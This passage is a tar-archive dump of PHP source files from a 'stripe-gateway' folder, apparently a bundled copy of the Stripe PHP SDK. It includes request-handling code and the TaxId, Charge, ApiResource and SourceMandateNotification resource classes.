!== self::$requestTelemetry) { $defaultHeaders['X-Stripe-Client-Telemetry'] = self::_telemetryJson(self::$requestTelemetry); } $hasFile = false; foreach ($params as $k => $v) { if (\is_resource($v)) { $hasFile = true; $params[$k] = self::_processResourceParam($v); } elseif ($v instanceof \CURLFile) { $hasFile = true; } } if ($hasFile) { $defaultHeaders['Content-Type'] = 'multipart/form-data'; } else { $defaultHeaders['Content-Type'] = 'application/x-www-form-urlencoded'; } $combinedHeaders = \array_merge($defaultHeaders, $headers); $rawHeaders = []; foreach ($combinedHeaders as $header => $value) { $rawHeaders[] = $header . ': ' . $value; } return [$absUrl, $rawHeaders, $params, $hasFile, $myApiKey]; } /** * @param 'delete'|'get'|'post' $method * @param string $url * @param array $params * @param array $headers * @param string[] $usage * * @throws Exception\AuthenticationException * @throws Exception\ApiConnectionException * * @return array */ private function _requestRaw($method, $url, $params, $headers, $usage) { list($absUrl, $rawHeaders, $params, $hasFile, $myApiKey) = $this->_prepareRequest($method, $url, $params, $headers); $requestStartMs = Util\Util::currentTimeMillis(); list($rbody, $rcode, $rheaders) = $this->httpClient()->request( $method, $absUrl, $rawHeaders, $params, $hasFile ); if ( isset($rheaders['request-id']) && \is_string($rheaders['request-id']) && '' !== $rheaders['request-id'] ) { self::$requestTelemetry = new RequestTelemetry( $rheaders['request-id'], Util\Util::currentTimeMillis() - $requestStartMs, $usage ); } return [$rbody, $rcode, $rheaders, $myApiKey]; } /** * @param 'delete'|'get'|'post' $method * @param string $url * @param array $params * @param array $headers * @param string[] $usage * @param callable $readBodyChunkCallable * * @throws Exception\AuthenticationException * @throws Exception\ApiConnectionException * * @return array */ private function _requestRawStreaming($method, $url, $params, $headers, $usage, $readBodyChunkCallable) { list($absUrl, $rawHeaders, $params, $hasFile, $myApiKey) = $this->_prepareRequest($method, $url, $params, $headers); $requestStartMs = Util\Util::currentTimeMillis(); list($rbody, $rcode, $rheaders) = $this->streamingHttpClient()->requestStream( $method, $absUrl, $rawHeaders, $params, $hasFile, $readBodyChunkCallable ); if ( isset($rheaders['request-id']) && \is_string($rheaders['request-id']) && '' !== $rheaders['request-id'] ) { self::$requestTelemetry = new RequestTelemetry( $rheaders['request-id'], Util\Util::currentTimeMillis() - $requestStartMs ); } return [$rbody, $rcode, $rheaders, $myApiKey]; } /** * @param resource $resource * * @throws Exception\InvalidArgumentException * * @return \CURLFile|string */ private function _processResourceParam($resource) { if ('stream' !== \get_resource_type($resource)) { throw new Exception\InvalidArgumentException( 'Attempted to upload a resource that is not a stream' ); } $metaData = \stream_get_meta_data($resource); if ('plainfile' !== $metaData['wrapper_type']) { throw new Exception\InvalidArgumentException( 'Only plainfile resource streams are supported' ); } // We don't have the filename or mimetype, but the API doesn't care return new \CURLFile($metaData['uri']); } /** * @param string $rbody * @param int $rcode * @param array $rheaders * * @throws Exception\UnexpectedValueException * @throws Exception\ApiErrorException * * @return array */ private function _interpretResponse($rbody, $rcode, $rheaders) { $resp = \json_decode($rbody, true); $jsonError = \json_last_error(); if (null === $resp && \JSON_ERROR_NONE !== $jsonError) { $msg = "Invalid response body from API: {$rbody} " . "(HTTP response code was {$rcode}, json_last_error() was {$jsonError})"; throw new Exception\UnexpectedValueException($msg, $rcode); } if ($rcode < 200 || $rcode >= 300) { $this->handleErrorResponse($rbody, $rcode, $rheaders, $resp); } return $resp; } /** * @static * * @param HttpClient\ClientInterface $client */ public static function setHttpClient($client) { self::$_httpClient = $client; } /** * @static * * @param HttpClient\StreamingClientInterface $client */ public static function setStreamingHttpClient($client) { self::$_streamingHttpClient = $client; } /** * @static * * Resets any stateful telemetry data */ public static function resetTelemetry() { self::$requestTelemetry = null; } /** * @return HttpClient\ClientInterface */ private function httpClient() { if (!self::$_httpClient) { self::$_httpClient = HttpClient\CurlClient::instance(); } return self::$_httpClient; } /** * @return HttpClient\StreamingClientInterface */ private function streamingHttpClient() { if (!self::$_streamingHttpClient) { self::$_streamingHttpClient = HttpClient\CurlClient::instance(); } return self::$_streamingHttpClient; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/SourceMandateNotification.php����������������������������������������������������0000644�����������������00000005053�14720677707�0016115 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * Source mandate notifications should be created when a notification related to * a source mandate must be sent to the payer. They will trigger a webhook or * deliver an email to the customer. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|\Stripe\StripeObject $acss_debit * @property null|int $amount A positive integer in the smallest currency unit (that is, 100 cents for $1.00, or 1 for ¥1, Japanese Yen being a zero-decimal currency) representing the amount associated with the mandate notification. The amount is expressed in the currency of the underlying source. Required if the notification type is <code>debit_initiated</code>. * @property null|\Stripe\StripeObject $bacs_debit * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property string $reason The reason of the mandate notification. Valid reasons are <code>mandate_confirmed</code> or <code>debit_initiated</code>. * @property null|\Stripe\StripeObject $sepa_debit * @property \Stripe\Source $source <p><code>Source</code> objects allow you to accept a variety of payment methods. They represent a customer's payment instrument, and can be used with the Stripe API just like a <code>Card</code> object: once chargeable, they can be charged, or can be attached to customers.</p><p>Stripe doesn't recommend using the deprecated <a href="https://stripe.com/docs/api/sources">Sources API</a>. We recommend that you adopt the <a href="https://stripe.com/docs/api/payment_methods">PaymentMethods API</a>. This newer API provides access to our latest features and payment method types.</p><p>Related guides: <a href="https://stripe.com/docs/sources">Sources API</a> and <a href="https://stripe.com/docs/sources/customers">Sources & Customers</a>.</p> * @property string $status The status of the mandate notification. Valid statuses are <code>pending</code> or <code>submitted</code>. * @property string $type The type of source this mandate notification is attached to. Should be the source type identifier code for the payment method, such as <code>three_d_secure</code>. */ class SourceMandateNotification extends ApiResource { const OBJECT_NAME = 'source_mandate_notification'; } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/TaxId.php������������������������������������������������������������������������0000644�����������������00000017773�14720677707�0012041 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * You can add one or multiple tax IDs to a <a href="https://stripe.com/docs/api/customers">customer</a> or account. * Customer and account tax IDs get displayed on related invoices and credit notes. * * Related guides: <a href="https://stripe.com/docs/billing/taxes/tax-ids">Customer tax identification numbers</a>, <a href="https://stripe.com/docs/invoicing/connect#account-tax-ids">Account tax IDs</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|string $country Two-letter ISO code representing the country of the tax ID. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|string|\Stripe\Customer $customer ID of the customer. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|\Stripe\StripeObject $owner The account or customer the tax ID belongs to. * @property string $type Type of the tax ID, one of <code>ad_nrt</code>, <code>ae_trn</code>, <code>ar_cuit</code>, <code>au_abn</code>, <code>au_arn</code>, <code>bg_uic</code>, <code>bh_vat</code>, <code>bo_tin</code>, <code>br_cnpj</code>, <code>br_cpf</code>, <code>ca_bn</code>, <code>ca_gst_hst</code>, <code>ca_pst_bc</code>, <code>ca_pst_mb</code>, <code>ca_pst_sk</code>, <code>ca_qst</code>, <code>ch_uid</code>, <code>ch_vat</code>, <code>cl_tin</code>, <code>cn_tin</code>, <code>co_nit</code>, <code>cr_tin</code>, <code>de_stn</code>, <code>do_rcn</code>, <code>ec_ruc</code>, <code>eg_tin</code>, <code>es_cif</code>, <code>eu_oss_vat</code>, <code>eu_vat</code>, <code>gb_vat</code>, <code>ge_vat</code>, <code>hk_br</code>, <code>hu_tin</code>, <code>id_npwp</code>, <code>il_vat</code>, <code>in_gst</code>, <code>is_vat</code>, <code>jp_cn</code>, <code>jp_rn</code>, <code>jp_trn</code>, <code>ke_pin</code>, <code>kr_brn</code>, <code>kz_bin</code>, <code>li_uid</code>, <code>mx_rfc</code>, <code>my_frp</code>, <code>my_itn</code>, <code>my_sst</code>, <code>ng_tin</code>, <code>no_vat</code>, <code>no_voec</code>, <code>nz_gst</code>, <code>om_vat</code>, <code>pe_ruc</code>, <code>ph_tin</code>, <code>ro_tin</code>, <code>rs_pib</code>, <code>ru_inn</code>, <code>ru_kpp</code>, <code>sa_vat</code>, <code>sg_gst</code>, <code>sg_uen</code>, <code>si_tin</code>, <code>sv_nit</code>, <code>th_vat</code>, <code>tr_tin</code>, <code>tw_vat</code>, <code>ua_vat</code>, <code>us_ein</code>, <code>uy_ruc</code>, <code>ve_rif</code>, <code>vn_tin</code>, or <code>za_vat</code>. Note that some legacy tax IDs have type <code>unknown</code> * @property string $value Value of the tax ID. * @property null|\Stripe\StripeObject $verification Tax ID verification information. */ class TaxId extends ApiResource { const OBJECT_NAME = 'tax_id'; const TYPE_AD_NRT = 'ad_nrt'; const TYPE_AE_TRN = 'ae_trn'; const TYPE_AR_CUIT = 'ar_cuit'; const TYPE_AU_ABN = 'au_abn'; const TYPE_AU_ARN = 'au_arn'; const TYPE_BG_UIC = 'bg_uic'; const TYPE_BH_VAT = 'bh_vat'; const TYPE_BO_TIN = 'bo_tin'; const TYPE_BR_CNPJ = 'br_cnpj'; const TYPE_BR_CPF = 'br_cpf'; const TYPE_CA_BN = 'ca_bn'; const TYPE_CA_GST_HST = 'ca_gst_hst'; const TYPE_CA_PST_BC = 'ca_pst_bc'; const TYPE_CA_PST_MB = 'ca_pst_mb'; const TYPE_CA_PST_SK = 'ca_pst_sk'; const TYPE_CA_QST = 'ca_qst'; const TYPE_CH_UID = 'ch_uid'; const TYPE_CH_VAT = 'ch_vat'; const TYPE_CL_TIN = 'cl_tin'; const TYPE_CN_TIN = 'cn_tin'; const TYPE_CO_NIT = 'co_nit'; const TYPE_CR_TIN = 'cr_tin'; const TYPE_DE_STN = 'de_stn'; const TYPE_DO_RCN = 'do_rcn'; const TYPE_EC_RUC = 'ec_ruc'; const TYPE_EG_TIN = 'eg_tin'; const TYPE_ES_CIF = 'es_cif'; const TYPE_EU_OSS_VAT = 'eu_oss_vat'; const TYPE_EU_VAT = 'eu_vat'; const TYPE_GB_VAT = 'gb_vat'; const TYPE_GE_VAT = 'ge_vat'; const TYPE_HK_BR = 'hk_br'; const TYPE_HU_TIN = 'hu_tin'; const TYPE_ID_NPWP = 'id_npwp'; const TYPE_IL_VAT = 'il_vat'; const TYPE_IN_GST = 'in_gst'; const TYPE_IS_VAT = 'is_vat'; const TYPE_JP_CN = 'jp_cn'; const TYPE_JP_RN = 'jp_rn'; const TYPE_JP_TRN = 'jp_trn'; const TYPE_KE_PIN = 'ke_pin'; const TYPE_KR_BRN = 'kr_brn'; const TYPE_KZ_BIN = 'kz_bin'; const TYPE_LI_UID = 'li_uid'; const TYPE_MX_RFC = 'mx_rfc'; const TYPE_MY_FRP = 'my_frp'; const TYPE_MY_ITN = 'my_itn'; const TYPE_MY_SST = 'my_sst'; const TYPE_NG_TIN = 'ng_tin'; const TYPE_NO_VAT = 'no_vat'; const TYPE_NO_VOEC = 'no_voec'; const TYPE_NZ_GST = 'nz_gst'; const TYPE_OM_VAT = 'om_vat'; const TYPE_PE_RUC = 'pe_ruc'; const TYPE_PH_TIN = 'ph_tin'; const TYPE_RO_TIN = 'ro_tin'; const TYPE_RS_PIB = 'rs_pib'; const TYPE_RU_INN = 'ru_inn'; const TYPE_RU_KPP = 'ru_kpp'; const TYPE_SA_VAT = 'sa_vat'; const TYPE_SG_GST = 'sg_gst'; const TYPE_SG_UEN = 'sg_uen'; const TYPE_SI_TIN = 'si_tin'; const TYPE_SV_NIT = 'sv_nit'; const TYPE_TH_VAT = 'th_vat'; const TYPE_TR_TIN = 'tr_tin'; const TYPE_TW_VAT = 'tw_vat'; const TYPE_UA_VAT = 'ua_vat'; const TYPE_UNKNOWN = 'unknown'; const TYPE_US_EIN = 'us_ein'; const TYPE_UY_RUC = 'uy_ruc'; const TYPE_VE_RIF = 've_rif'; const TYPE_VN_TIN = 'vn_tin'; const TYPE_ZA_VAT = 'za_vat'; /** * Creates a new account or customer <code>tax_id</code> object. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TaxId the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Deletes an existing account or customer <code>tax_id</code> object. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TaxId the deleted resource */ public function delete($params = null, $opts = null) { self::_validateParams($params); $url = $this->instanceUrl(); list($response, $opts) = $this->_request('delete', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * Returns a list of tax IDs. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\TaxId> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves an account or customer <code>tax_id</code> object. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TaxId */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } const VERIFICATION_STATUS_PENDING = 'pending'; const VERIFICATION_STATUS_UNAVAILABLE = 'unavailable'; const VERIFICATION_STATUS_UNVERIFIED = 'unverified'; const VERIFICATION_STATUS_VERIFIED = 'verified'; } �����stripe-gateway/lib/Charge.php�����������������������������������������������������������������������0000644�����������������00000041721�14720677707�0012207 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * The <code>Charge</code> object represents a single attempt to move money into your Stripe account. * PaymentIntent confirmation is the most common way to create Charges, but transferring * money to a different Stripe account through Connect also creates Charges. * Some legacy payment flows create Charges directly, which is not recommended for new integrations. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount Amount intended to be collected by this payment. A positive integer representing how much to charge in the <a href="https://stripe.com/docs/currencies#zero-decimal">smallest currency unit</a> (e.g., 100 cents to charge $1.00 or 100 to charge ¥100, a zero-decimal currency). The minimum amount is $0.50 US or <a href="https://stripe.com/docs/currencies#minimum-and-maximum-charge-amounts">equivalent in charge currency</a>. The amount value supports up to eight digits (e.g., a value of 99999999 for a USD charge of $999,999.99). * @property int $amount_captured Amount in cents (or local equivalent) captured (can be less than the amount attribute on the charge if a partial capture was made). * @property int $amount_refunded Amount in cents (or local equivalent) refunded (can be less than the amount attribute on the charge if a partial refund was issued). * @property null|string|\Stripe\Application $application ID of the Connect application that created the charge. * @property null|string|\Stripe\ApplicationFee $application_fee The application fee (if any) for the charge. <a href="https://stripe.com/docs/connect/direct-charges#collect-fees">See the Connect documentation</a> for details. * @property null|int $application_fee_amount The amount of the application fee (if any) requested for the charge. <a href="https://stripe.com/docs/connect/direct-charges#collect-fees">See the Connect documentation</a> for details. * @property null|string $authorization_code Authorization code on the charge. * @property null|string|\Stripe\BalanceTransaction $balance_transaction ID of the balance transaction that describes the impact of this charge on your account balance (not including refunds or disputes). * @property \Stripe\StripeObject $billing_details * @property null|string $calculated_statement_descriptor The full statement descriptor that is passed to card networks, and that is displayed on your customers' credit card and bank statements. Allows you to see what the statement descriptor looks like after the static and dynamic portions are combined. * @property bool $captured If the charge was created without capturing, this Boolean represents whether it is still uncaptured or has since been captured. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property null|string|\Stripe\Customer $customer ID of the customer this charge is for if one exists. * @property null|string $description An arbitrary string attached to the object. Often useful for displaying to users. * @property bool $disputed Whether the charge has been disputed. * @property null|string|\Stripe\BalanceTransaction $failure_balance_transaction ID of the balance transaction that describes the reversal of the balance on your account due to payment failure. * @property null|string $failure_code Error code explaining reason for charge failure if available (see <a href="https://stripe.com/docs/error-codes">the errors section</a> for a list of codes). * @property null|string $failure_message Message to user further explaining reason for charge failure if available. * @property null|\Stripe\StripeObject $fraud_details Information on fraud assessments for the charge. * @property null|string|\Stripe\Invoice $invoice ID of the invoice this charge is for if one exists. * @property null|\Stripe\StripeObject $level3 * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|string|\Stripe\Account $on_behalf_of The account (if any) the charge was made on behalf of without triggering an automatic transfer. See the <a href="https://stripe.com/docs/connect/separate-charges-and-transfers">Connect documentation</a> for details. * @property null|\Stripe\StripeObject $outcome Details about whether the payment was accepted, and why. See <a href="https://stripe.com/docs/declines">understanding declines</a> for details. * @property bool $paid <code>true</code> if the charge succeeded, or was successfully authorized for later capture. * @property null|string|\Stripe\PaymentIntent $payment_intent ID of the PaymentIntent associated with this charge, if one exists. * @property null|string $payment_method ID of the payment method used in this charge. * @property null|\Stripe\StripeObject $payment_method_details Details about the payment method at the time of the transaction. * @property null|\Stripe\StripeObject $radar_options Options to configure Radar. See <a href="https://stripe.com/docs/radar/radar-session">Radar Session</a> for more information. * @property null|string $receipt_email This is the email address that the receipt for this charge was sent to. * @property null|string $receipt_number This is the transaction number that appears on email receipts sent for this charge. This attribute will be <code>null</code> until a receipt has been sent. * @property null|string $receipt_url This is the URL to view the receipt for this charge. The receipt is kept up-to-date to the latest state of the charge, including any refunds. If the charge is for an Invoice, the receipt will be stylized as an Invoice receipt. * @property bool $refunded Whether the charge has been fully refunded. If the charge is only partially refunded, this attribute will still be false. * @property null|\Stripe\Collection<\Stripe\Refund> $refunds A list of refunds that have been applied to the charge. * @property null|string|\Stripe\Review $review ID of the review associated with this charge if one exists. * @property null|\Stripe\StripeObject $shipping Shipping information for the charge. * @property null|\Stripe\Account|\Stripe\BankAccount|\Stripe\Card|\Stripe\Source $source This is a legacy field that will be removed in the future. It contains the Source, Card, or BankAccount object used for the charge. For details about the payment method used for this charge, refer to <code>payment_method</code> or <code>payment_method_details</code> instead. * @property null|string|\Stripe\Transfer $source_transfer The transfer ID which created this charge. Only present if the charge came from another Stripe account. <a href="https://stripe.com/docs/connect/destination-charges">See the Connect documentation</a> for details. * @property null|string $statement_descriptor For card charges, use <code>statement_descriptor_suffix</code> instead. Otherwise, you can use this value as the complete description of a charge on your customers’ statements. Must contain at least one letter, maximum 22 characters. * @property null|string $statement_descriptor_suffix Provides information about the charge that customers see on their statements. Concatenated with the prefix (shortened descriptor) or statement descriptor that’s set on the account to form the complete statement descriptor. Maximum 22 characters for the concatenated descriptor. * @property string $status The status of the payment is either <code>succeeded</code>, <code>pending</code>, or <code>failed</code>. * @property null|string|\Stripe\Transfer $transfer ID of the transfer to the <code>destination</code> account (only applicable if the charge was created using the <code>destination</code> parameter). * @property null|\Stripe\StripeObject $transfer_data An optional dictionary including the account to automatically transfer to as part of a destination charge. <a href="https://stripe.com/docs/connect/destination-charges">See the Connect documentation</a> for details. * @property null|string $transfer_group A string that identifies this transaction as part of a group. See the <a href="https://stripe.com/docs/connect/separate-charges-and-transfers#transfer-options">Connect documentation</a> for details. */ class Charge extends ApiResource { const OBJECT_NAME = 'charge'; use ApiOperations\NestedResource; use ApiOperations\Update; const STATUS_FAILED = 'failed'; const STATUS_PENDING = 'pending'; const STATUS_SUCCEEDED = 'succeeded'; /** * This method is no longer recommended—use the <a * href="/docs/api/payment_intents">Payment Intents API</a> to initiate a new * payment instead. Confirmation of the PaymentIntent creates the * <code>Charge</code> object used to request payment. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Charge the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of charges you’ve previously created. The charges are returned in * sorted order, with the most recent charges appearing first. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Charge> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of a charge that has previously been created. Supply the * unique charge ID that was returned from your previous request, and Stripe will * return the corresponding charge information. The same information is returned * when creating or refunding the charge. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Charge */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates the specified charge by setting the values of the parameters passed. Any * parameters not provided will be left unchanged. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Charge the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Possible string representations of decline codes. * These strings are applicable to the decline_code property of the \Stripe\Exception\CardException exception. * * @see https://stripe.com/docs/declines/codes */ const DECLINED_AUTHENTICATION_REQUIRED = 'authentication_required'; const DECLINED_APPROVE_WITH_ID = 'approve_with_id'; const DECLINED_CALL_ISSUER = 'call_issuer'; const DECLINED_CARD_NOT_SUPPORTED = 'card_not_supported'; const DECLINED_CARD_VELOCITY_EXCEEDED = 'card_velocity_exceeded'; const DECLINED_CURRENCY_NOT_SUPPORTED = 'currency_not_supported'; const DECLINED_DO_NOT_HONOR = 'do_not_honor'; const DECLINED_DO_NOT_TRY_AGAIN = 'do_not_try_again'; const DECLINED_DUPLICATED_TRANSACTION = 'duplicate_transaction'; const DECLINED_EXPIRED_CARD = 'expired_card'; const DECLINED_FRAUDULENT = 'fraudulent'; const DECLINED_GENERIC_DECLINE = 'generic_decline'; const DECLINED_INCORRECT_NUMBER = 'incorrect_number'; const DECLINED_INCORRECT_CVC = 'incorrect_cvc'; const DECLINED_INCORRECT_PIN = 'incorrect_pin'; const DECLINED_INCORRECT_ZIP = 'incorrect_zip'; const DECLINED_INSUFFICIENT_FUNDS = 'insufficient_funds'; const DECLINED_INVALID_ACCOUNT = 'invalid_account'; const DECLINED_INVALID_AMOUNT = 'invalid_amount'; const DECLINED_INVALID_CVC = 'invalid_cvc'; const DECLINED_INVALID_EXPIRY_YEAR = 'invalid_expiry_year'; const DECLINED_INVALID_NUMBER = 'invalid_number'; const DECLINED_INVALID_PIN = 'invalid_pin'; const DECLINED_ISSUER_NOT_AVAILABLE = 'issuer_not_available'; const DECLINED_LOST_CARD = 'lost_card'; const DECLINED_MERCHANT_BLACKLIST = 'merchant_blacklist'; const DECLINED_NEW_ACCOUNT_INFORMATION_AVAILABLE = 'new_account_information_available'; const DECLINED_NO_ACTION_TAKEN = 'no_action_taken'; const DECLINED_NOT_PERMITTED = 'not_permitted'; const DECLINED_OFFLINE_PIN_REQUIRED = 'offline_pin_required'; const DECLINED_ONLINE_OR_OFFLINE_PIN_REQUIRED = 'online_or_offline_pin_required'; const DECLINED_PICKUP_CARD = 'pickup_card'; const DECLINED_PIN_TRY_EXCEEDED = 'pin_try_exceeded'; const DECLINED_PROCESSING_ERROR = 'processing_error'; const DECLINED_REENTER_TRANSACTION = 'reenter_transaction'; const DECLINED_RESTRICTED_CARD = 'restricted_card'; const DECLINED_REVOCATION_OF_ALL_AUTHORIZATIONS = 'revocation_of_all_authorizations'; const DECLINED_REVOCATION_OF_AUTHORIZATION = 'revocation_of_authorization'; const DECLINED_SECURITY_VIOLATION = 'security_violation'; const DECLINED_SERVICE_NOT_ALLOWED = 'service_not_allowed'; const DECLINED_STOLEN_CARD = 'stolen_card'; const DECLINED_STOP_PAYMENT_ORDER = 'stop_payment_order'; const DECLINED_TESTMODE_DECLINE = 'testmode_decline'; const DECLINED_TRANSACTION_NOT_ALLOWED = 'transaction_not_allowed'; const DECLINED_TRY_AGAIN_LATER = 'try_again_later'; const DECLINED_WITHDRAWAL_COUNT_LIMIT_EXCEEDED = 'withdrawal_count_limit_exceeded'; /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Charge the captured charge */ public function capture($params = null, $opts = null) { $url = $this->instanceUrl() . '/capture'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SearchResult<\Stripe\Charge> the charge search results */ public static function search($params = null, $opts = null) { $url = '/v1/charges/search'; return static::_requestPage($url, \Stripe\SearchResult::class, $params, $opts); } const PATH_REFUNDS = '/refunds'; /** * @param string $id the ID of the charge on which to retrieve the refunds * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Refund> the list of refunds */ public static function allRefunds($id, $params = null, $opts = null) { return self::_allNestedResources($id, static::PATH_REFUNDS, $params, $opts); } /** * @param string $id the ID of the charge to which the refund belongs * @param string $refundId the ID of the refund to retrieve * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Refund */ public static function retrieveRefund($id, $refundId, $params = null, $opts = null) { return self::_retrieveNestedResource($id, static::PATH_REFUNDS, $refundId, $params, $opts); } } �����������������������������������������������stripe-gateway/lib/ApiResource.php������������������������������������������������������������������0000644�����������������00000006647�14720677707�0013247 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe; /** * Class ApiResource. * * */ abstract class ApiResource extends StripeObject { use ApiOperations\Request; /** * @return \Stripe\Util\Set A list of fields that can be their own type of * API resource (say a nested card under an account for example), and if * that resource is set, it should be transmitted to the API on a create or * update. Doing so is not the default behavior because API resources * should normally be persisted on their own RESTful endpoints. */ public static function getSavedNestedResources() { static $savedNestedResources = null; if (null === $savedNestedResources) { $savedNestedResources = new Util\Set(); } return $savedNestedResources; } /** * @var bool A flag that can be set a behavior that will cause this * resource to be encoded and sent up along with an update of its parent * resource. This is usually not desirable because resources are updated * individually on their own endpoints, but there are certain cases, * replacing a customer's source for example, where this is allowed. */ public $saveWithParent = false; public function __set($k, $v) { parent::__set($k, $v); $v = $this->{$k}; if ((static::getSavedNestedResources()->includes($k)) && ($v instanceof ApiResource)) { $v->saveWithParent = true; } } /** * @throws Exception\ApiErrorException * * @return ApiResource the refreshed resource */ public function refresh() { $requestor = new ApiRequestor($this->_opts->apiKey, static::baseUrl()); $url = $this->instanceUrl(); list($response, $this->_opts->apiKey) = $requestor->request( 'get', $url, $this->_retrieveOptions, $this->_opts->headers ); $this->setLastResponse($response); $this->refreshFrom($response->json, $this->_opts); return $this; } /** * @return string the base URL for the given class */ public static function baseUrl() { return Stripe::$apiBase; } /** * @return string the endpoint URL for the given class */ public static function classUrl() { // Replace dots with slashes for namespaced resources, e.g. if the object's name is // "foo.bar", then its URL will be "/v1/foo/bars". /** @phpstan-ignore-next-line */ $base = \str_replace('.', '/', static::OBJECT_NAME); return "/v1/{$base}s"; } /** * @param null|string $id the ID of the resource * * @throws Exception\UnexpectedValueException if $id is null * * @return string the instance endpoint URL for the given class */ public static function resourceUrl($id) { if (null === $id) { $class = static::class; $message = 'Could not determine which URL to request: ' . "{$class} instance has invalid ID: {$id}"; throw new Exception\UnexpectedValueException($message); } $id = Util\Util::utf8($id); $base = static::classUrl(); $extn = \urlencode($id); return "{$base}/{$extn}"; } /** * @return string the full API URL for this API resource */ public function instanceUrl() { return static::resourceUrl($this['id']); } } �����������������������������������������������������������������������������������������stripe-gateway/lib/SubscriptionSchedule.php���������������������������������������������������������0000644�����������������00000016421�14720677707�0015156 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * A subscription schedule allows you to create and manage the lifecycle of a subscription by predefining expected changes. * * Related guide: <a href="https://stripe.com/docs/billing/subscriptions/subscription-schedules">Subscription schedules</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|string|\Stripe\Application $application ID of the Connect Application that created the schedule. * @property null|int $canceled_at Time at which the subscription schedule was canceled. Measured in seconds since the Unix epoch. * @property null|int $completed_at Time at which the subscription schedule was completed. Measured in seconds since the Unix epoch. * @property int $created Time at which the object was created. Measured in seconds since the 